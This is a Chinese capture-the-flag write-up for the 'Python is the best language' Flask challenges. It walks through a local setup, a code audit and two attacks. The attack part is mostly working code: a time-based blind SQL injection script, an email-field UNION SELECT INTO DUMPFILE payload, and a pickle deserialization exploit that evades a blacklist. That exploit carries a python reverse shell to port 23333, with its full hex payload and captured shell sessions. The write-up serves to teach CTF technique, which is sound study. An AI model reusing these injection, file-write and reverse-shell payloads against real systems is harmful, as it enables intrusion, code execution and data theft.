从零基础到解题之 Python is the best language

-目录-

  • 前言
  • 环境搭建
  • 源码结构
  • 题目分析
  • Python is the best language1
  • Python is the best language2 思考攻击点 pickle序列化学习 题目分析 攻击构造思考 payload
  • 后记

前言

自己对python的web框架了解并不是很多,于是为了学习……打算从零开始一步一步分析一下如何去做flask的题目。

环境搭建

首先

python db_create.py

发现缺少库依赖,然后一路装过来

pip install Flask

pip install flask_login

pip install flask_bootstrap

pip install flask_moment

pip install sqlalchemy

pip install MySQLdb

然后出现了报错,随后发现`MySQLdb`不能直接安装

随即用了另一指令

pip install MySQL-python

然后安装继续报错

mysql_config not found

随后运行指令

sudo apt-get install libmysqlclient-dev

即可解决,然后继续装库

pip install flask_wtf

即可安装完所有需求库

然后再

python db_create.py

又报错,发现是config配置问题,随机

vi config.py

将第7行更改为

SQLALCHEMY_DATABASE_URI = "mysql://root:@127.0.0.1/flask?charset=utf8"

注:用户root,无密码

然后再运行

python db_create.py

发现报错,无flask库,于是创建库

CREATE DATABASE `flask` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

再运行

python db_create.py

python run.py

不能外网访问,随机更改run.py文件

vi run.py

更改为

if __name__ == "__main__":

app.run(host='0.0.0.0',port=10000)

随后

python run.py

即可在ip:10000访问题目

源码结构

因为接触flask框架不算多,所以也抱着一个萌新的态度来分析

根目录下是3个文件

app为放置应用程序的文件夹

run.py为启动文件

config.py是配置文件

然后进入app文件夹

static文件夹放置静态资源

templates文件夹放置模板,用于渲染(说白了就是前端views)

__init__.py 文件里包含导入各种框架和函数,初始化flask应用,初始化数据库

error.py 用于404和500报错

forms.py 用于表单登录,注册等

models.py 放置操作数据库的代码

Mycache.py 出题人自己写的缓存文件

Mysessions.py 出题人自己写的session文件

others.py mysql操作语句等函数

routes.py 路由文件

题目分析

这不多的代码一共出了2个题目

  • Python is the best language1
  • Python is the best language2

我个人认为,第一问可能就是个sql注入,第二问应该是Mycache.py与Mysessions.py出了问题

原因很简单

  1. 不多的代码里有许多sql操作
  2. 除了一些标准的文件,自己写的Mycache.py与Mysessions.py非常可疑

那么我们分析的时候也就很有针对性了,重点关注sql的操作和出题者自己写的文件,也就是

sql部分

routes.py

others.py

缓存部分

Mycache.py

Mysessions.py

Python is the best language1

由于是第一问,肯定难度相对较低,于是我开始寻找sql注入的问题,审计routes.py

当然,如果一行一行看过去,肯定是很难受的,我们先看看大体结构

@app.before_request

def before_request():

@app.teardown_request

def shutdown_session(exception=None):

db_session.remove()

@app.route('/', methods=['GET', 'POST'])

@app.route('/index', methods=['GET', 'POST'])

@login_required

def index():

@app.route('/explore')

@login_required

def explore():

@app.route('/login', methods=['GET', 'POST'])

def login():

@app.route('/logout')

def logout():

@app.route('/register', methods=['GET', 'POST'])

def register():

@app.route('/user/<username>')

@login_required

def user(username):

@app.route('/edit_profile', methods=['GET', 'POST'])

@login_required

def edit_profile():

@app.route('/follow/<username>')

@login_required

def follow(username):

@app.route('/unfollow/<username>')

@login_required

def unfollow(username):

可以看到功能无非就是注册,登录,退出,编辑等

这里我直接看了编辑功能即`/edit_profile`

因为这是登录后为数不多可操作的功能

审计代码,关键定位于sql操作上

if form.validate_on_submit():

current_user.username = form.username.data

current_user.note = form.note.data

res = mysql.Mod("user", {"id": current_user.id}, {

"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

if res != 0:

flash('Your changes have been saved.')

return redirect(url_for('edit_profile'))

定位到关键操作

res = mysql.Mod("user", {"id": current_user.id}, {

"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

我们跟进Mod函数

def Mod(self, tablemame, where, values):

sql = "update " + tablemame + " "

sql += "set " + \

"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "

sql += "where " + \

"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]

try:

self.db_session.execute(sql)

self.db_session.commit()

return 1

except:

return 0

发现是update,可注入,查看过滤点

def validate_note(self, note):

if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:

raise ValidationError("Don't input invalid charactors!")

发现note处明显有问题,可以的符号非常多

我在本地构造了一下开始测试

python

import re

uid='1'

username = 'sky'

note = "12345' and (select username like 0x25) and sleep(5) and 'a'='a"

def validate_note(note):

if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note) == None:

print "Don't input invalid charactors!"

def Mod(tablemame, where, values):

sql = "update " + tablemame + " "

sql += "set " + \

"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "

sql += "where " + \

"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]

return sql

validate_note(note)

res = Mod("user", {"id": uid}, {

"username": "'%s'" % username, "note": "'%s'" % note})

print res

发现轻松bypass,随即构造脚本进行注入

首先抓了个包观察了一下

csrf_token=IjY1MTRhZmJkYzYzZGNkMWQ2NzBhNGIwOWRhZmMwMzJhNGJjZTNiODIi.DaJ5pw.Pp6QpdeA_1n9txXtoyqAB0jSgSk&username=sky&note=011&submit=Submit

发现是有csrf_token的,还需要处理获取一下,脚本如下:

# -*- coding: utf-8 -*-

import re

import requests

import string

cookies = {

"cookieconsent_status":"dismiss","continueCode":"1ZmEW8xEBave7rXY9NJ52R43LzGQ2HBuM0MpZy1QDnmwolK6PqObVgkjPr8v","remember_token":"1|bd7ae859aa61d2458faf36eecdd36b40c949bb0e0c5c6b2d42fd5462d043d01f935625d5df66deaa15eb56ce76afadd4a1f5ef9f5f2826dcc7d2e9d66f341c75","session":"f8a0d3db-ab28-496b-943d-eda1ca2642cd"

}

url = "http://192.168.130.157:10000/edit_profile"

r = requests.get(url=url,cookies=cookies)

csrf_token_re = r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">'

csrf_token = re.findall(csrf_token_re, r.content)[0]

flag = ""

true_flag = ""

for i in range(1,1000):

payload = flag

for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":

data = {

"csrf_token": csrf_token,

"username": "sky",

"note": "12345' and (select flllllag like binary 0x%s25 from flaaaaag) and sleep(3) and 'a'='a"%(payload+hex(ord(j))[2:]),

"submit": "Submit"

}

try:

r =requests.post(url=url,data=data,cookies=cookies,timeout=2.5)

except:

flag += hex(ord(j))[2:]

true_flag += j

print true_flag

break

运行即可拿到flag:`QWB{us1ng_val1dator_caut1ous}`

Python is the best language2

  • 思考攻击点

作为一个萌新,我对flask的理解并不是很深入,拿下了第一题后,我非常迷茫,因为找不到切入点

但是在others.py里发现了一下奇特的东西

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

spawnv, spawnve, spawnvp, spawnvpe, load, loads]

class FilterException(Exception):

def __init__(self, value):

super(FilterException, self).__init__(

'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):

def wrapper(*args, **kwargs):

print args[0].stack

if args[0].stack[-2] in black_type_list:

raise FilterException(args[0].stack[-2])

return func(*args, **kwargs)

return wrapper

def load(file):

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return Unpkler(file).load()

def loads(str):

file = StringIO(str)

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return unpkler.load()

这可以明显的看出可能后面有一道命令执行,并且`Unpkler`引起了我的兴趣:`from pickle import Unpickler as Unpkler`,因为这是反序列化,虽然我对flask理解并不是很多,但类似php我知道,反序列化经常是漏洞点,并且可以进行RCE,随即这成了我的突破口。

  • pickle序列化学习

首先看一下pickle的作用

pickle是为了序列化/反序列化一个对象的,可以把一个对象持久化存储。

比如你有一个对象,想下次运行程序的时候直接用,可以直接用pickle打包存到硬盘上。或者你想把一个对象传给网络上的其他程序,可以用pickle打包,然后传过去,那边的python程序用pickle反序列化,就可以用了。

用法上,它主要有两个函数:load和dump,load是从序列化之后的数据中解出来,dump是把对象序列化。

我们实战尝试一下

import pickle

a1 = 'apple'

b1 = {1: 'One', 2: 'Two', 3: 'Three'}

c1 = ['fee', 'fie', 'foe', 'fum']

f1 = open('test',"wb")

pickle.dump(a1,f1,True)

pickle.dump(b1,f1,True)

pickle.dump(c1,f1,True)

f1.close()

f2 = open('test',"rb")

a2 = pickle.load(f2)

print a2

b2 = pickle.load(f2)

print b2

c2 = pickle.load(f2)

print c2

得到结果

apple

{1: 'One', 2: 'Two', 3: 'Three'}

['fee', 'fie', 'foe', 'fum']

稍微分析一下就可以知道

pickle.dump(object, file)

是序列化

object = pickle.load( file)

是反序列化

再深入一些

pickle.dump(object, file)

可以拆分为

python

P = pickle.Pickler(file)

P.dump(object)

即生成一个新的pickler,用来pickle到一个打开的输出文件对象file,然后写一个对象到pickler的文件/流。

object = pickle.load(file)

也可以拆分为

U = pickle.Unpickler(file)

object = U.load( )

即生成一个unpickler,用来从一个打开的文件对象file unpickle,然后从unpickler的文件/流读取一个对象。

这样看来就容易理解许多,其实就是为了方便我们操作,pickle将序列化简化成只需要dump一些,而反序列化简化成只需要load一下。

我们再做一点测试

python

import pickle

a1 = 'apple'

a2 = pickle.dumps(a1)

print a2

a3 = pickle.loads(a2)

print a3

输出

S'apple'

p0

.

apple

这里使用了

string = pickle.dumps(object)

返回一个字符串作为已pickle对象的表达

object = pickle.loads(string)

从字符串读取一个对象,而不是从文件

简单来说,还是之前的dumps是序列化,loads是反序列化,但这里直接可以操作字符串,而不是文件

  • 题目分析

有了之前的基础,一些题目中的函数就容易看懂许多了

python

def load(file):

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return Unpkler(file).load()

def loads(str):

file = StringIO(str)

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return unpkler.load()

这两个简单看来就是带有过滤的反序列化,一个用于操作文件,一个用于操作字符串

那么我们现在去看看问题在哪里:

首先我们确定,问题出现于Mycache.py和Mysession.py

经过全局搜索,我发现本题主要调用的是load,也就是对文件的操作,所以我将注意力定位到有关文件的类上

而这两个文件里分别有两个有关于文件的两个大类

FileSystemCache

FileSystemSessionInterface

那么他们的关联在哪里呢?

这里从`FileSystemSessionInterface`入手,容易发现以下代码

python

class FileSystemSessionInterface(SessionInterface):

session_class = FileSystemSession

def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",

use_signer=False, permanent=True):

self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)

self.key_prefix = key_prefix

self.use_signer = use_signer

self.permanent = permanent

def open_session(self, app, request):

sid = request.cookies.get(app.session_cookie_name)

if not sid:

sid = self._generate_sid()

return self.session_class(sid=sid, permanent=self.permanent)

if self.use_signer:

signer = self._get_signer(app)

if signer is None:

return None

try:

sid_as_bytes = signer.unsign(sid)

sid = sid_as_bytes.decode()

except BadSignature:

sid = self._generate_sid()

return self.session_class(sid=sid, permanent=self.permanent)

data = self.cache.get(self.key_prefix + sid)

if data is not None:

return self.session_class(data, sid=sid)

return self.session_class(sid=sid, permanent=self.permanent)

其中关键行

python

self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)

key_prefix="bdwsessions"

sid = request.cookies.get(app.session_cookie_name)

data = self.cache.get(self.key_prefix + sid)

很显然,这里`FileSystemSessionInterface.cache`调用了`FileSystemCache`

然后使用了`FileSystemCache`类里的get方法得到最后的数据

而传入的参数为

key_prefix="bdwsessions"

sid = request.cookies.get(app.session_cookie_name)

即`bdwsessions+cookies`

那么我们跟进一下这个get方法:

在Mycache.py里容易发现第137行有

python

def get(self, key):

filename = self._get_filename(key)

try:

with open(filename, 'rb') as f:

pickle_time = load(f)

if pickle_time == 0 or pickle_time >= time():

a = load(f)

return a

else:

os.remove(filename)

return None

except (IOError, OSError, PickleError):

return None

其中对文件filename进行反序列化操作

那么filename这个变量名是什么呢?我们跟进一下

python

def _get_filename(self, key):

if isinstance(key, text_type):

key = key.encode('utf-8') # XXX unicode review

hash = md5(key).hexdigest()

return os.path.join(self._path, hash)

这里很明显,是将输入的key进行utf-8编码,再进行md5

而有了之前的分析,我们知道这个key即`bdwsessions+cookies`

我们抓包看一下自己的cookies格式

容易发现

f8a0d3db-ab28-496b-943d-eda1ca2642cd

所以我可以确定我们传入的key为

bdwsessionsf8a0d3db-ab28-496b-943d-eda1ca2642cd

那么我们md5一下得到

0c73b741796249d489754c8ec49621be

又根据config.py中给出的路径

SESSION_TYPE = "filesystem"

SESSION_FILE_THRESHOLD = 10000

SESSION_FILE_DIR = "/tmp/ffff"

SESSION_FILE_MODE = 0660

SESSION_PERMANENT = True

可以得到最终我们文件的路径为

/tmp/ffff/0c73b741796249d489754c8ec49621be

由于我是在本地搭建测试,所以我去查看一下,以证实自己的想法

root@ubuntu:/# cd /tmp/ffff

root@ubuntu:/tmp/ffff# ls

0c73b741796249d489754c8ec49621be a35a428bd3c0877883abdcf9a278014d

5bac4cc446cd857cdca44322243df871 b564de092ab86312866e8726d2436716

果不其然,第一个文件就是我们猜想的session文件

  • 攻击构造思考

既然我们可以预知文件名和绝对路径,那我们可否触发load来任意反序列化我们构造的恶意代码呢?

这里我们容易知道mysql可以写入文件,但是需要很高的权限,但是这里结合config中的root用户,可以容易猜想到这里应该有足够的权限。

那么我们的思路很清晰了:

  1. 自己随意定义一个session
  2. 根据之前的规则计算出文件名
  3. 利用mysql的注入,将文件导入/tmp/ffff目录下
  4. 访问index的时候修改自己的session为之前我们定义的值
  5. 即可触发反序列化,造成攻击

首先来编写一个可以命令执行的文件,这里之前我们也提到,反序列化的时候是有黑名单的,即过滤

观察过滤

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

spawnv, spawnve, spawnvp, spawnvpe, load, loads]

这里容易发现

subprocess.Popen

subprocess.call

commands

均可使用

我们测试

首先写一个test1.py

from pickle import Unpickler as Unpkler

from pickle import Pickler as Pkler

import commands

class Exploit(object):

def __reduce__(self):

return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

evil = Exploit()

def dump(file):

pkler = Pkler(file)

pkler.dump(evil)

with open("test","wb") as f:

dump(f)

再写一个test2.py

from os import *

from sys import *

from pickle import *

from io import open as Open

from pickle import Unpickler as Unpkler

from pickle import Pickler as Pkler

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

spawnv, spawnve, spawnvp, spawnvpe, load, loads]

class FilterException(Exception):

def __init__(self, value):

super(FilterException, self).__init__(

'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):

def wrapper(*args, **kwargs):

print args[0].stack

if args[0].stack[-2] in black_type_list:

raise FilterException(args[0].stack[-2])

return func(*args, **kwargs)

return wrapper

def LOAD(file):

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return Unpkler(file).load()

with Open("test","rb") as f:

LOAD(f)

然后我们首先运行test1.py去生成序列化文件

接着我们本地监听23333端口

然后再运行test2.py去模拟题目触发反序列化

发现成功反弹shell

root@ubuntu:/var/www/html/test# python test2.py

[<function getoutput at 0x7f49ea7321b8>, ('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',)]

以及收到的shell

sky@ubuntu:~$ nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35168)

# ls

test

test1.py

test2.py

# cd ..

# ls

index.html

QWBflask

test

#

发现测试成功

现在我们需要做的就是将我们恶意构造的序列化文件转换成16进制,再利用union填充导入到session文件即可

但是这里我又发现了一个新的问题,就是之前我找到的edit_profile攻击点没有逗号,这里我懒得使用join去Bypass逗号,因为我担心这样在导入文件的时候会出现蛇皮的错误,所以我又看了一下代码

不一会儿我又在`/register`处发现更简单的过滤问题

username = StringField('Username', validators=[DataRequired()])

email = StringField('Email', validators=[DataRequired(), Email()])

password = PasswordField('Password', validators=[DataRequired()])

password2 = PasswordField(

'Repeat Password', validators=[DataRequired(), EqualTo('password')])

submit = SubmitField('Register')

def validate_username(self, username):

if re.match("^[a-zA-Z0-9_]+$", username.data) == None:

raise ValidationError('username has invalid charactor!')

user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])

if user != 0:

raise ValidationError('Please use a different username.')

def validate_email(self, email):

user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])

if user != 0:

raise ValidationError('Please use a different email address.')

可以发现email仅仅只使用了

email = StringField('Email', validators=[DataRequired(), Email()])

进行过滤

我们跟进一下email()函数

python

def __init__(self, message=None):

self.validate_hostname = HostnameValidation(

require_tld=True,

)

super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)

def __call__(self, form, field):

message = self.message

if message is None:

message = field.gettext('Invalid email address.')

match = super(Email, self).__call__(form, field, message)

if not self.validate_hostname(match.group(1)):

raise ValidationError(message)

此处的正则仅仅是用来email格式的,根本不能影响我们进行注入

所以我们只需要

select id from user where email = 'sky'/**/or/**/1=1#@sky.com'

即可造成注入

那么相对来说,union select也容易了很多,只需要

sky'/**/union/**/select/**/0x.../**/into/**/dumpfile/**/'/tmp/ffff/md5(key)'#@sky.com

那我们先来生成一下16进制的恶意文件

python

import binascii

import cPickle

import commands

class Exploit(object):

def __reduce__(self):

return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():

shellcode = cPickle.dumps(Exploit())

return shellcode

print binascii.b2a_hex(serialize_exploit())

得到

0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e

  • payload

先给自己设定一个session

f8a0d3db-ab28-496b-943d-eda1caskysky

然后md5(bdwsessionsf8a0d3db-ab28-496b-943d-eda1caskysky)

预测文件名

/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07

在注册点的email处填入

sky'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07'#@sky.com

接着我们监听端口23333

sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

然后我们去访问index,顺便修改session触发反序列化

然后即可成功收到shell

sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35210)

$ ls

app

config.py

config.pyc

MySQL-python-1.2.3b1

MySQL-python-1.2.3b1.tar.gz

run.py

$ cd ..

$ ls

index.html

QWBflask

test

$

此题也最终完结

后记

写这样一篇文章,目的就是在于帮助自己和大家去探索一个未知的领域,从零开始做题。

感叹现在的知名赛事真的是对web越来越不友好了,涉及点全面,还动不动带着点bin。

最后不得不膜一发bendawang,绝对是好题~

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-04-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JetpropelledSnake

SQL学习之SQL注入总结

37430
来自专栏恰童鞋骚年

.NET单元测试的艺术-1.入门

开篇:最近在看Roy Osherove的《单元测试的艺术》一书,颇有收获。因此,将其记录下来,并分为四个部分分享成文,与各位Share。本篇作为入门,介绍了单元...

11820
来自专栏学习力

《Java从入门到放弃》框架入门篇:hibernate中的多表对应关系

23570
来自专栏坚毅的PHP

[node.js]开放平台接口调用测试

遇到的问题:Node.js JSON parsing error,syntax error unexpect end of input 测试代码 //测试/st...

44360
来自专栏大内老A

在Entity Framework中使用存储过程(四):如何为Delete存储过程参数赋上Current值?

继续讨论EF中使用存储过程的问题,这回着重讨论的是为存储过程的参数进行赋值的问题。说得更加具体一点,是如何为实体映射的Delete存储过程参数进行赋值的问题。关...

23190
来自专栏Danny的专栏

机房收费系统(VB.NET)——存储过程实战

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/huyuyang6688/article/...

18150
来自专栏岑玉海

hbase源码系列(六)HMaster启动过程

  这一章是server端开始的第一章,有兴趣的朋友先去看一下hbase的架构图,我专门从网上弄下来的。   按照HMaster的run方法的注释,我们可以了解...

59990
来自专栏MasiMaro 的技术博文

派遣函数

驱动程序的主要功能是用来处理IO请求,而大部分的IO请求是在派遣函数中完成的,用户模式下所有的IO请求都会被IO管理器封装为一个IRP结构,类似于Windows...

14910
来自专栏xdecode

Java源码安全审查

最近业务需要出一份Java Web应用源码安全审查报告, 对比了市面上数种工具及其分析结果, 基于结果总结了一份规则库. 本文目录结构如下: 

83320
来自专栏北京马哥教育

数据库的最简单实现

所有应用软件之中,数据库可能是最复杂的。 MySQL的手册有3000多页,PostgreSQL的手册有2000多页,Oracle的手册更是比它们相加还要厚。 但...

30160

扫码关注云+社区

领取腾讯云代金券